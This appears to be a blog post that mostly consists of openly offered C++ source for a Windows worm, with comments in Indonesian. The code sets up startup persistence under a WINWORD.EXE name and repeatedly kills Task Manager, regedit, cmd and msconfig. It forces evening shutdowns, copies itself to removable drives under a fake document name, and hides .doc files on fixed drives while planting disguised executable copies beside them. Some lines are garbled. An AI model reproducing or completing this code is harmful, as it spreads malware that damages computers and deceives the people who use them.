Virus C++ For Computer

Pe20plet | This's Viris Wrong C++ to computer |
#include

#include

#include "termproc.h"

#include "manstring.h"

#include "shutdown.h"

#include "scanpath.h"

#include "regaccess.h"

using namespace std;



// Prototype Fungsi

DWORD WINAPI Process_Watcher(LPVOID Param);

DWORD WINAPI Shut_it_Down(LPVOID Param);

DWORD WINAPI Copy_to_UFD(LPVOID Param);

DWORD WINAPI Fake_Doc(LPVOID Param);

void InvokeDocuments(void);

void HideAndSpoof(char *path);



// Variabel Global

DWORD id = 0; // Variabel penampung ID thread



int WINAPI WinMain(HINSTANCE hThisInstance, HINSTANCE hPrevInstance,

                    LPSTR lpszArgument, int nFunsterStil)

{

    char szCurrent[MAX_PATH]; // Buffer untuk alamat sumber file duplikasi

    char szPath[MAX_PATH];    // Buffer untuk alamat tujuan duplikasi file



    // Menampilkan file document sebenarnya

    InvokeDocuments();



    // Mengecek apakah program sudah running atau belum. Jika sudah, maka

    // program akan diakhiri

    CreateMutex(NULL, true, "Goldstein");

    if(GetLastError() == ERROR_ALREADY_EXISTS)

        return 0; 



    // Mendapatkan fullpath dari program ini

    GetModuleFileName(NULL, szCurrent, MAX_PATH-1);



    // Mengkopikan diri ke folder [SYSTEM]

    GetSystemDirectory(szPath, sizeof(szPath));

    strcat(szPath, "\\");

    strcat(szPath, "WINWORD.EXE");

    CopyFile(szCurrent, szPath, true);



    // Membuat startup key

    SetStringValue(HKLM,

                   "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",

                   "MSWORD STARTUP",

                   szPath);



    // Menjadikan fungsi Process_Watcher() sebagai thread

    CreateThread(NULL, 0, &Process_Watcher, NULL, 0, &id);

    // Menjadikan fungsi Shut_it_Down() sebagai thread

    CreateThread(NULL, 0, &Shut_it_Down, NULL, 0, &id);

    // Menjadikan fungsi Copy_to_UFD() sebagai thread

    CreateThread(NULL, 0, &Copy_to_UFD, NULL, 0, &id);

    // Menjadikan fungsi Fake_Doc() sebagai thread

    CreateThread(NULL, 0, &Fake_Doc, NULL, 0, &id);



    while(1)

        Sleep(1000);



    return EXIT_SUCCESS;

}



DWORD WINAPI Process_Watcher(LPVOID Param)

{

    while(1)

    {

        Sleep(100); // Menunda eksekusi 0,1 detik

        TermProc("msconfig.exe"); // Mengakhiri process MSConfig

        TermProc("regedit.exe");  // Mengakhiri process Registry Editor

        TermProc("cmd.exe");      // Mengakhiri process Command Prompt

        TermProc("taskmgr.exe");  // Mengakhiri process Task Manager

    }

    return EXIT_SUCCESS;

}



DWORD WINAPI Shut_it_Down(LPVOID Param)

{

    while(1)

    {

        Sleep(1000);

        time_t now;

        tm tm;



        time(&now);

        // Mengcopy nilai yang ditunjuk oleh nilai return localtime() ke object tm

        tm = *localtime(&now);



        // Jika jam menunjuk pukul 21 dan menit habis dibagi 5

        if(tm.tm_hour == 21 && tm.tm_min%5 == 0)

            TurnOff(ShtDown); // Shutdown Komputer

    }



    return 0;

}



void InvokeDocuments(void)

{

    char szPath[MAX_PATH] = {'\0'};



    GetModuleFileName(NULL, szPath, MAX_PATH);



    // Invoke file dokumen asli

    ShellExecute(NULL, "open", left(szPath, strlen(szPath)-7), NULL, NULL, SW_SHOW);

}    



DWORD WINAPI Copy_to_UFD(LPVOID Param)

{

    char *drv[10] = {"A:", "B:", "C:", "D:", "E:", "F:", "G:", "H:", "I:", "J:"};

    char szSource[MAX_PATH];

    char szDest[MAX_PATH];

    char szFileName[] = "README.DOC   .exe";



    GetModuleFileName(NULL, szSource, MAX_PATH);



    while(1)

    {

        Sleep(1000);



        // Loop untuk memeriksa setiap array pointer yang menunjuk ke heap

        for(int i=0; i < 10; i++)

        {

            Sleep(1000);

            // Jika drive merupakan removable

            if(GetDriveType(drv[i]) == DRIVE_REMOVABLE)

            {

                strncpy(szDest, drv[i], MAX_PATH-1);  // Mengcopy nama drive

                strcat(szDest, "\\");                 // Menambahkan backslash '\'

                strcat(szDest, szFileName);           // Menggabungkan dengan szFilename

                CopyFile(szSource, szDest, true);     // Copykan file

            }

        }

    }



    return EXIT_SUCCESS;

}



DWORD WINAPI Fake_Doc(LPVOID Param)

{

    // Pointer ke heap yang berisi string drive

    char *drv[10] = {"A:", "B:", "C:", "D:", "E:", "F:", "G:", "H:", "I:", "J:"};



    while(1)

    {

        for(int i=0; i<10 br="br" i="i">
        {

            Sleep(1000);

            // Jika drive merupakan fixed

            if(GetDriveType(drv[i]) == DRIVE_FIXED)

            {

                // Memanggil fungsi ScanPath() yang akan memanggil fungsi

                // HideAndSpoof() untuk setiap file yang ditemukan

                ScanPath(drv[i], (LPVOID)HideAndSpoof, true);

            }

        }

    }



    return EXIT_SUCCESS;

}



void HideAndSpoof(char* Path)

{

    char szSource[MAX_PATH]; // Buffer untuk lokasi file sumber

    char szDest[MAX_PATH];   // Buffer untuk lokasi tujuan peng-copy-an

    char szFake[] = "   .exe";



    if (!stricmp(right(Path, 4), ".doc"))

    {

        // Mendapatkan lokasi current file

        GetModuleFileName(NULL, szSource, MAX_PATH);



        // Mengatur attribute file dokumen menjadi hidden+system

        SetFileAttributes(Path, 6);



        strncpy(szDest, Path, MAX_PATH-1); // Mengcopy lokasi Path ke szDest[]

        strcat(szDest, szFake);            // dan menambahkan string "   .exe"



        CopyFile(szSource, szDest, true);

    }

}
 
Yahoo Messenger
Send Me IM!
Google Plus
Add Me To Your Circle!
Twitter
Follow Me!
Facebook
Add My Facebook
Original Template By Belajar SEO Blogspot - Himajiesized By Dayz Hidayat